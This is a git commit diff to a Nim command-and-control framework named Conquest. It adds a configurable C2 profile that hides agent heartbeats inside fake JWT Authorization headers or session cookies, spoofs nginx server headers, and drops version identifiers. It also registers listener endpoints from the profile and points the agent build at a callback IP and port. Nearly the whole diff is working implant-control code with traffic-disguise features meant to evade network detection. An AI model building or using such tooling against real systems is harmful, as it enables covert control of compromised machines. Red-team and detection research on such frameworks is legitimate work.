Updated profile system, including dynamic parsing of hidden heartbeats and setting of response headers.

This commit is contained in:
Jakob Friedl
2025-08-14 15:53:58 +02:00
parent e403ac1c07
commit 714360ef24
7 changed files with 148 additions and 98 deletions

View File

@@ -18,20 +18,28 @@ user_agent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTM
# ---------------------------------------------------------- # ----------------------------------------------------------
# Defines URI endpoints for HTTP GET requests # Defines URI endpoints for HTTP GET requests
[http-get] [http-get]
uri = [ endpoints = [
"/tasks", "/get",
"/api/v1.2/status.js" "/api/v1.2/status.js"
] ]
# Defines where the heartbeat is placed within the HTTP GET request # Defines where the heartbeat is placed within the HTTP GET request
# Allows for data transformation using encoding (base64, base64url, ...), appending and prepending of strings # Allows for data transformation using encoding (base64, base64url, ...), appending and prepending of strings
# Metadata can be stored in a Header (e.g. JWT Token, Session Cookie), URI parameter, appended to the URI or request body # Metadata can be stored in a Header (e.g. JWT Token, Session Cookie), URI parameter, appended to the URI or request body
# Encoding is only applied to the payload and not the prepended or appended strings
[http-get.agent.heartbeat] [http-get.agent.heartbeat]
encoding = "base64url"
prepend = "Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9."
append = ".KMUFsIDTnFmyG3nMiGM6H9FNFUROf3wh7SmqJp-QV30"
placement = { type = "header", name = "Authorization" } placement = { type = "header", name = "Authorization" }
encoding = { type = "base64", url-safe = true }
prefix = "Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9."
suffix = ".KMUFsIDTnFmyG3nMiGM6H9FNFUROf3wh7SmqJp-QV30"
# Example: PHP session cookie
# placement = { type = "header", name = "Cookie" } # placement = { type = "header", name = "Cookie" }
# prefix = "PHPSESSID="
# suffix = ", path=/"
# encoding = { type = "base64", url-safe = true }
# Other examples
# placement = { type = "parameter", name = "id" } # placement = { type = "parameter", name = "id" }
# placement = { type = "uri" } # placement = { type = "uri" }
# placement = { type = "body" } # placement = { type = "body" }
@@ -41,12 +49,13 @@ placement = { type = "header", name = "Authorization" }
# Defines arbitrary headers that are added by the agent when performing a HTTP GET request # Defines arbitrary headers that are added by the agent when performing a HTTP GET request
[http-get.agent.headers] [http-get.agent.headers]
"Cache-Control" = "no-cache" Cache-Control = "no-cache"
# Defines arbitrary headers that are added to the server's response # Defines arbitrary headers that are added to the server's response
[http-get.server.headers] [http-get.server.headers]
"Server" = "nginx" Server = "nginx"
"X-CONQUEST-VERSION" = "0.1" Content-Type = "application/octet-stream"
Connection = "Keep-Alive"
# Defines how the server's response to the task retrieval request is rendered # Defines how the server's response to the task retrieval request is rendered
# Allows same data transformation options as the agent metadata, allowing it to be embedded in benign content # Allows same data transformation options as the agent metadata, allowing it to be embedded in benign content
@@ -58,24 +67,21 @@ placement = { type = "body" }
# ---------------------------------------------------------- # ----------------------------------------------------------
# Defines URI endpoints for HTTP POST requests # Defines URI endpoints for HTTP POST requests
[http-post] [http-post]
uri = [ endpoints = [
"/results", "/post",
"/api/v2/get.js" "/api/v2/get.js"
] ]
request_methods = [
"POST",
"PUT"
]
[http-post.agent.headers] [http-post.agent.headers]
Content-Type = "application/octet-stream"
Connection = "Keep-Alive"
Cache-Control = "no-cache" Cache-Control = "no-cache"
[http-post.agent.output] [http-post.agent.output]
placement = { type = "body" } placement = { type = "body" }
[http-post.server.headers] [http-post.server.headers]
"Server" = "nginx" Server = "nginx"
"X-CONQUEST-VERSION" = "0.1"
[http-post.server.output] [http-post.server.output]
placement = { type = "body" } placement = { type = "body" }

View File

@@ -1,9 +1,9 @@
# Agent configuration # Agent configuration
-d:ListenerUuid="7147A315" -d:ListenerUuid="03FBA764"
-d:Octet1="127" -d:Octet1="172"
-d:Octet2="0" -d:Octet2="29"
-d:Octet3="0" -d:Octet3="177"
-d:Octet4="1" -d:Octet4="43"
-d:ListenerPort=5555 -d:ListenerPort=7777
-d:SleepDelay=5 -d:SleepDelay=5
-d:ServerPublicKey="mi9o0kPu1ZSbuYfnG5FmDUMAvEXEvp11OW9CQLCyL1U=" -d:ServerPublicKey="mi9o0kPu1ZSbuYfnG5FmDUMAvEXEvp11OW9CQLCyL1U="

View File

@@ -157,11 +157,6 @@ type
port*: int port*: int
protocol*: Protocol protocol*: Protocol
HttpListener* = ref object of Listener
register_endpoint*: string
get_endpoint*: string
post_endpoint*: string
# Server context structure # Server context structure
type type
KeyPair* = object KeyPair* = object

View File

@@ -33,13 +33,13 @@ proc register*(registrationData: seq[byte]): bool =
return true return true
proc getTasks*(checkinData: seq[byte]): seq[seq[byte]] = proc getTasks*(heartbeat: seq[byte]): seq[seq[byte]] =
{.cast(gcsafe).}: {.cast(gcsafe).}:
# Deserialize checkin request to obtain agentId and listenerId # Deserialize checkin request to obtain agentId and listenerId
let let
request: Heartbeat = cq.deserializeHeartbeat(checkinData) request: Heartbeat = cq.deserializeHeartbeat(heartbeat)
agentId = uuidToString(request.header.agentId) agentId = uuidToString(request.header.agentId)
listenerId = uuidToString(request.listenerId) listenerId = uuidToString(request.listenerId)
timestamp = request.timestamp timestamp = request.timestamp

View File

@@ -1,4 +1,4 @@
import prologue, json, terminal, strformat import prologue, json, terminal, strformat, parsetoml, tables
import sequtils, strutils, times, base64 import sequtils, strutils, times, base64
import ./handlers import ./handlers
@@ -9,75 +9,113 @@ proc error404*(ctx: Context) {.async.} =
resp "", Http404 resp "", Http404
#[ #[
GET /tasks GET
Called from agent to check for new tasks Called from agent to check for new tasks
]# ]#
proc httpGet*(ctx: Context) {.async.} = proc httpGet*(ctx: Context) {.async.} =
# Check headers {.cast(gcsafe).}:
# Heartbeat data is hidden base64-encoded within "Authorization: Bearer" header, between a prefix and suffix
if not ctx.request.hasHeader("Authorization"):
resp "", Http404
return
let checkinData: seq[byte] = string.toBytes(decode(ctx.request.getHeader("Authorization")[0].split(".")[1])) # Check heartbeat metadata placement
var heartbeat: seq[byte]
var heartbeatString: string
let heartbeatPlacement = cq.profile["http-get"]["agent"]["heartbeat"]["placement"]["type"].getStr()
try: case heartbeatPlacement:
var response: seq[byte] of "header":
let tasks: seq[seq[byte]] = getTasks(checkinData) let heartbeatHeader = cq.profile["http-get"]["agent"]["heartbeat"]["placement"]["name"].getStr()
if not ctx.request.hasHeader(heartbeatHeader):
resp "", Http404
return
if tasks.len <= 0: heartbeatString = ctx.request.getHeader(heartbeatHeader)[0]
resp "", Http200
return
# Create response, containing number of tasks, as well as length and content of each task of "parameter":
# This makes it easier for the agent to parse the tasks discard
response.add(cast[uint8](tasks.len)) of "uri":
discard
of "body":
discard
else: discard
for task in tasks: # Retrieve and apply data transformation to get raw heartbeat packet
response.add(uint32.toBytes(uint32(task.len))) let
response.add(task) encoding = cq.profile["http-get"]["agent"]["heartbeat"]["encoding"]["type"].getStr("none")
prefix = cq.profile["http-get"]["agent"]["heartbeat"]["prefix"].getStr("")
await ctx.respond( suffix = cq.profile["http-get"]["agent"]["heartbeat"]["suffix"].getStr("")
code = Http200,
body = Bytes.toString(response)
)
# Notify operator that agent collected tasks let encHeartbeat = heartbeatString[len(prefix) ..^ len(suffix) + 1]
{.cast(gcsafe).}:
case encoding:
of "base64":
heartbeat = string.toBytes(decode(encHeartbeat))
of "none":
heartbeat = string.toBytes(encHeartbeat)
try:
var response: seq[byte]
let tasks: seq[seq[byte]] = getTasks(heartbeat)
if tasks.len <= 0:
resp "", Http200
return
# Create response, containing number of tasks, as well as length and content of each task
# This makes it easier for the agent to parse the tasks
response.add(cast[uint8](tasks.len))
for task in tasks:
response.add(uint32.toBytes(uint32(task.len)))
response.add(task)
# Add headers, as defined in the team server profile
for header, value in cq.profile["http-get"]["server"]["headers"].getTable():
ctx.response.setHeader(header, value.getStr())
await ctx.respond(Http200, Bytes.toString(response), ctx.response.headers)
ctx.handled = true # Ensure that HTTP response is sent only once
# Notify operator that agent collected tasks
let date = now().format("dd-MM-yyyy HH:mm:ss") let date = now().format("dd-MM-yyyy HH:mm:ss")
cq.writeLine(fgBlack, styleBright, fmt"[{date}] [*] ", resetStyle, fmt"{$response.len} bytes sent.") cq.writeLine(fgBlack, styleBright, fmt"[{date}] [*] ", resetStyle, fmt"{$response.len} bytes sent.")
except CatchableError: except CatchableError:
resp "", Http404 resp "", Http404
#[ #[
POST /results POST
Called from agent to post results of a task Called from agent to register itself or post results of a task
]# ]#
proc httpPost*(ctx: Context) {.async.} = proc httpPost*(ctx: Context) {.async.} =
# Check headers {.cast(gcsafe).}:
# If POST data is not binary data, return 404 error code
if ctx.request.contentType != "application/octet-stream":
resp "", Http404
return
try: # Check headers
# Differentiate between registration and task result packet # If POST data is not binary data, return 404 error code
var unpacker = Unpacker.init(ctx.request.body) if ctx.request.contentType != "application/octet-stream":
let header = unpacker.deserializeHeader() resp "", Http404
return
try:
# Differentiate between registration and task result packet
var unpacker = Unpacker.init(ctx.request.body)
let header = unpacker.deserializeHeader()
# Add response headers, as defined in team server profile
for header, value in cq.profile["http-post"]["server"]["headers"].getTable():
ctx.response.setHeader(header, value.getStr())
if cast[PacketType](header.packetType) == MSG_REGISTER:
if not register(string.toBytes(ctx.request.body)):
resp "", Http400
return
elif cast[PacketType](header.packetType) == MSG_RESULT:
handleResult(string.toBytes(ctx.request.body))
if cast[PacketType](header.packetType) == MSG_REGISTER:
if not register(string.toBytes(ctx.request.body)):
resp "", Http400
return
resp "", Http200 resp "", Http200
elif cast[PacketType](header.packetType) == MSG_RESULT:
handleResult(string.toBytes(ctx.request.body))
except CatchableError: except CatchableError:
resp "", Http404 resp "", Http404
return return

View File

@@ -1,5 +1,7 @@
import strformat, strutils, sequtils, terminal import strformat, strutils, sequtils, terminal
import prologue import prologue, parsetoml
import sugar
import ../utils import ../utils
import ../api/routes import ../api/routes
@@ -13,15 +15,6 @@ proc delListener(cq: Conquest, listenerName: string) =
proc add(cq: Conquest, listener: Listener) = proc add(cq: Conquest, listener: Listener) =
cq.listeners[listener.listenerId] = listener cq.listeners[listener.listenerId] = listener
proc newListener*(listenerId: string, address: string, port: int): Listener =
var listener = new Listener
listener.listenerId = listenerId
listener.address = address
listener.port = port
listener.protocol = HTTP
return listener
#[ #[
Listener management Listener management
]# ]#
@@ -65,13 +58,24 @@ proc listenerStart*(cq: Conquest, host: string, portStr: string) =
var listener = newApp(settings = listenerSettings) var listener = newApp(settings = listenerSettings)
# Define API endpoints # Define API endpoints based on C2 profile
listener.get("get", routes.httpGet) # GET requests
listener.post("post", routes.httpPost) for endpoint in cq.profile["http-get"]["endpoints"].getElems():
listener.get(endpoint.getStr(), routes.httpGet)
# POST requests
for endpoint in cq.profile["http-post"]["endpoints"].getElems():
listener.post(endpoint.getStr(), routes.httpPost)
listener.registerErrorHandler(Http404, routes.error404) listener.registerErrorHandler(Http404, routes.error404)
# Store listener in database # Store listener in database
var listenerInstance = newListener(name, host, port) var listenerInstance = Listener(
listenerId: name,
address: host,
port: port,
protocol: HTTP
)
if not cq.dbStoreListener(listenerInstance): if not cq.dbStoreListener(listenerInstance):
return return
@@ -97,11 +101,18 @@ proc restartListeners*(cq: Conquest) =
) )
listener = newApp(settings = settings) listener = newApp(settings = settings)
# Define API endpoints # Define API endpoints based on C2 profile
listener.get("get", routes.httpGet) # TODO: Store endpoints for already running listeners is DB (comma-separated) and use those values for restarts
listener.post("post", routes.httpPost) # GET requests
listener.registerErrorHandler(Http404, routes.error404) for endpoint in cq.profile["http-get"]["endpoints"].getElems():
listener.get(endpoint.getStr(), routes.httpGet)
# POST requests
for endpoint in cq.profile["http-post"]["endpoints"].getElems():
listener.post(endpoint.getStr(), routes.httpPost)
listener.registerErrorHandler(Http404, routes.error404)
try: try:
discard listener.runAsync() discard listener.runAsync()
cq.add(l) cq.add(l)

View File

@@ -1,6 +1,6 @@
# Compiler flags # Compiler flags
-d:server -d:server
--threads:on --threads:on
-d:httpxServerName="nginx" -d:httpxServerName=""
--outdir:"../bin" --outdir:"../bin"
--out:"server" --out:"server"